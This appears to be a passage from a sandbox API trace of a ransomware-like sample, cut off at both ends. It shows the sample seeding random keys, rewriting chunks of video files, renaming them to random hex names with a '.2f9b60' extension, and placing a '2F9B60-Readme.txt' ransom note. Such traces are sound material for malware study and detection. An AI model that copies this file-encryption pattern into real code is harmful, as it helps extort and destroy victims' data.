(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0099.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b50 [0099.354] NtQuerySystemTime (in: CurrentTime=0x240afac0 | out: CurrentTime=0x240afac0*=132462177048706000) returned 0x0 [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x61c19fd3 [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x1b78769f [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x38380104 [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x5c79a434 [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x172ad525 [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x4e5bbb8b [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x7f94291d [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x63d873c9 [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x17b7ba02 [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x7a32886a [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0xc0fed74 [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x2583a915 [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x4e4fc5de [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x1d7748a4 [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x6476ff9d [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x30b97aff [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x38d1b99e [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x2250dcf [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x353e23fa [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x66a2db67 [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x76ac00ab [0099.354] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x595c082 [0099.355] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x7e0772ce [0099.355] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x31b0dd94 [0099.355] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x5b001237 [0099.355] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x2c1960ae [0099.355] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x4bf62871 [0099.355] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x58c889a4 [0099.355] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x1633167f [0099.355] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x452ce448 [0099.355] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x54200417 [0099.355] RtlRandomEx (in: Seed=0x240afab0 | out: Seed=0x240afab0) returned 0x27f4ab59 [0099.365] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.365] ReadFile (in: hFile=0x1550, lpBuffer=0x202cc520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x240afb20, lpOverlapped=0x0 | out: lpBuffer=0x202cc520*, lpNumberOfBytesRead=0x240afb20*=0x3c00, lpOverlapped=0x0) returned 1 [0099.365] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0099.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0099.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0099.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261a90) returned 1 [0099.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202d0130 [0099.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0099.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b50 [0099.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b50) returned 1 [0099.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0099.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0099.366] WriteFile (in: hFile=0x1550, lpBuffer=0x202d0130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x240afb20, lpOverlapped=0x0 | out: lpBuffer=0x202d0130*, lpNumberOfBytesWritten=0x240afb20*=0x3c00, lpOverlapped=0x0) returned 1 [0100.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d0130) returned 1 [0100.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202cc520) returned 1 [0100.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f130 [0100.935] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.935] WriteFile (in: hFile=0x1550, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x240afbd0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x240afbd0*=0x116, lpOverlapped=0x0) returned 1 [0101.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0101.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0101.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d40 [0101.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260d40) returned 1 [0101.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20260d40 [0101.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d10 [0101.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0101.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260cb0) returned 1 [0101.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0101.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0101.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9c190 [0101.922] sprintf (in: _Dest=0x1cd9c190, _Format="%c%c" | out: _Dest="59") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c192, _Format="%c%c" | out: _Dest="83") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c194, _Format="%c%c" | out: _Dest="5f") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c196, _Format="%c%c" | out: _Dest="a4") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c198, _Format="%c%c" | out: _Dest="04") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c19a, _Format="%c%c" | out: _Dest="e4") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c19c, _Format="%c%c" | out: _Dest="ce") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c19e, _Format="%c%c" | out: _Dest="17") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c1a0, _Format="%c%c" | out: _Dest="a7") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c1a2, _Format="%c%c" | out: _Dest="61") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c1a4, _Format="%c%c" | out: _Dest="5e") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c1a6, _Format="%c%c" | out: _Dest="37") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c1a8, _Format="%c%c" | out: _Dest="c8") returned 2 [0101.922] sprintf (in: _Dest=0x1cd9c1aa, _Format="%c%c" | out: _Dest="f2") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1ac, _Format="%c%c" | out: _Dest="55") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1ae, _Format="%c%c" | out: _Dest="08") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1b0, _Format="%c%c" | out: _Dest="a2") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1b2, _Format="%c%c" | out: _Dest="80") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1b4, _Format="%c%c" | out: _Dest="b7") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1b6, _Format="%c%c" | out: _Dest="2b") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1b8, _Format="%c%c" | out: _Dest="ba") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1ba, _Format="%c%c" | out: _Dest="84") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1bc, _Format="%c%c" | out: _Dest="f5") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1be, _Format="%c%c" | out: _Dest="cf") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1c0, _Format="%c%c" | out: _Dest="c8") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1c2, _Format="%c%c" | out: _Dest="6f") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1c4, _Format="%c%c" | out: _Dest="40") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1c6, _Format="%c%c" | out: _Dest="32") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1c8, _Format="%c%c" | out: _Dest="88") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1ca, _Format="%c%c" | out: _Dest="b2") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1cc, _Format="%c%c" | out: _Dest="14") returned 2 [0101.923] sprintf (in: _Dest=0x1cd9c1ce, _Format="%c%c" | out: _Dest="03") returned 2 [0101.924] sprintf (in: _Dest=0x1cd9c1d0, _Format="%c%c" | out: _Dest="a0") returned 2 [0101.924] sprintf (in: _Dest=0x1cd9c1d2, _Format="%c%c" | out: _Dest="2d") returned 2 [0101.924] sprintf (in: _Dest=0x1cd9c1d4, _Format="%c%c" | out: _Dest="31") returned 2 [0101.924] sprintf (in: _Dest=0x1cd9c1d6, _Format="%c%c" | out: _Dest="49") returned 2 [0101.924] RtlInitAnsiString (in: DestinationString=0x240afc48, SourceString="59835fa404e4ce17a7615e37c8f25508a280b72bba84f5cfc86f403288b21403a02d3149" | out: DestinationString="59835fa404e4ce17a7615e37c8f25508a280b72bba84f5cfc86f403288b21403a02d3149") [0101.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x240afc18, SourceString="59835fa404e4ce17a7615e37c8f25508a280b72bba84f5cfc86f403288b21403a02d3149", AllocateDestinationString=1 | out: DestinationString="59835fa404e4ce17a7615e37c8f25508a280b72bba84f5cfc86f403288b21403a02d3149") returned 0x0 [0101.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1f50 [0101.924] wcscat (in: _Dest=0x2050bb60, _Source="59835fa404e4ce17a7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\59835fa404e4ce17a7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\59835fa404e4ce17a7" [0101.924] wcscat (in: _Dest=0x2050bb60, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\59835fa404e4ce17a7.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\59835fa404e4ce17a7.2f9b60" [0101.924] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\59835fa404e4ce17a7.2f9b60", NtPathName=0x240afbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\59835fa404e4ce17a7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x1193e0 [0105.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 [0105.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051460) returned 1 [0105.628] NtQueryInformationFile (in: FileHandle=0x1550, IoStatusBlock=0x240afc58, FileInformation=0x240afc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x240afc58, FileInformation=0x240afc68) returned 0x0 [0105.628] NtSetInformationFile (FileHandle=0x1550, IoStatusBlock=0x240afc58, FileInformation=0x240afc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bb60) returned 1 [0105.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1f50) returned 1 [0105.631] FlushFileBuffers (hFile=0x1550) returned 1 [0105.633] CloseHandle (hObject=0x1550) returned 1 [0105.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b1f50 [0105.634] wcscpy (in: _Dest=0x202b1f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0105.634] wcscat (in: _Dest=0x202b1f50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0105.634] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0106.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1f50) returned 1 [0106.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a330) returned 1 Thread: id = 838 os_tid = 0x13fc [0099.384] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\DsldEBjFE1oQIR6Ff43L.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\dsldebjfe1oqir6ff43l.mkv")) returned 0x20 [0099.384] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\DsldEBjFE1oQIR6Ff43L.mkv", dwFileAttributes=0x20) returned 1 [0099.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\DsldEBjFE1oQIR6Ff43L.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\dsldebjfe1oqir6ff43l.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1554 [0099.385] GetFileSizeEx (in: hFile=0x1554, lpFileSize=0x2453f9e0 | out: lpFileSize=0x2453f9e0*=97619) returned 1 [0099.385] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x17d4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.385] ReadFile (in: hFile=0x1554, lpBuffer=0x2453f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2453f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2453f960*, lpNumberOfBytesRead=0x2453f9a8*=0x4, lpOverlapped=0x0) returned 1 [0099.386] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b50 [0099.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261be0 [0099.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c10 [0099.387] NtQuerySystemTime (in: CurrentTime=0x2453f8a0 | out: CurrentTime=0x2453f8a0*=132462177049018000) returned 0x0 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x405624d7 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x7ac7db93 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x5cbe1c44 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x609bcaf6 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0xf766980 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x5290fd6c [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x25cbad29 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x586a099d [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x4e0ddd92 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x7f4fe30a [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x498c7189 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x4fbaca1 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x653c5aa9 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x29079865 [0099.387] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x2379ed36 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x1906b55 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x2bd1a86c [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x3cdb538b [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x2b61b4c7 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x3066b75 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x52c7d07a [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x2346ba30 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x7c90eb9d [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0xe3ee142 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x23aa40b8 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0xfb5892c [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x501e60a3 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x68a83b63 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x49efa294 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x38941ff5 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x1187a892 [0099.388] RtlRandomEx (in: Seed=0x2453f890 | out: Seed=0x2453f890) returned 0x5ddd3442 [0099.400] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.400] ReadFile (in: hFile=0x1554, lpBuffer=0x202d3d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2453f900, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesRead=0x2453f900*=0x3c00, lpOverlapped=0x0) returned 1 [0099.401] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0099.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0099.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b50 [0099.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b50) returned 1 [0099.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202d7950 [0099.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b50 [0099.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c10 [0099.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c10) returned 1 [0099.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0099.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0099.402] WriteFile (in: hFile=0x1554, lpBuffer=0x202d7950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2453f900, lpOverlapped=0x0 | out: lpBuffer=0x202d7950*, lpNumberOfBytesWritten=0x2453f900*=0x3c00, lpOverlapped=0x0) returned 1 [0100.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d7950) returned 1 [0100.573] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.573] ReadFile (in: hFile=0x1554, lpBuffer=0x202d3d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2453f900, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesRead=0x2453f900*=0x3c00, lpOverlapped=0x0) returned 1 [0100.573] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced25c0 [0100.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0100.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f940) returned 1 [0100.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42035950 [0100.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0100.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0100.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0100.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced25c0) returned 1 [0100.936] WriteFile (in: hFile=0x1554, lpBuffer=0x42035950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2453f900, lpOverlapped=0x0 | out: lpBuffer=0x42035950*, lpNumberOfBytesWritten=0x2453f900*=0x3c00, lpOverlapped=0x0) returned 1 [0101.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42035950) returned 1 [0101.680] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x14153, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.681] ReadFile (in: hFile=0x1554, lpBuffer=0x202d3d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2453f900, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesRead=0x2453f900*=0x3c00, lpOverlapped=0x0) returned 1 [0101.681] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x14153, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0101.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869e40 [0101.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202601d0 [0101.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202601d0) returned 1 [0101.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42035950 [0101.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202601d0 [0101.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0101.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f40) returned 1 [0101.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869e40) returned 1 [0101.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0101.682] WriteFile (in: hFile=0x1554, lpBuffer=0x42035950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2453f900, lpOverlapped=0x0 | out: lpBuffer=0x42035950*, lpNumberOfBytesWritten=0x2453f900*=0x3c00, lpOverlapped=0x0) returned 1 [0101.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42035950) returned 1 [0101.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9010 [0101.739] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.739] WriteFile (in: hFile=0x1554, lpBuffer=0x1b866120*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2453f9b0, lpOverlapped=0x0 | out: lpBuffer=0x1b866120*, lpNumberOfBytesWritten=0x2453f9b0*=0x162, lpOverlapped=0x0) returned 1 [0105.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0105.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d30 [0105.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d30) returned 1 [0105.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f930 [0105.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d30 [0105.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d00 [0105.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d00) returned 1 [0105.056] RtlFreeHeap 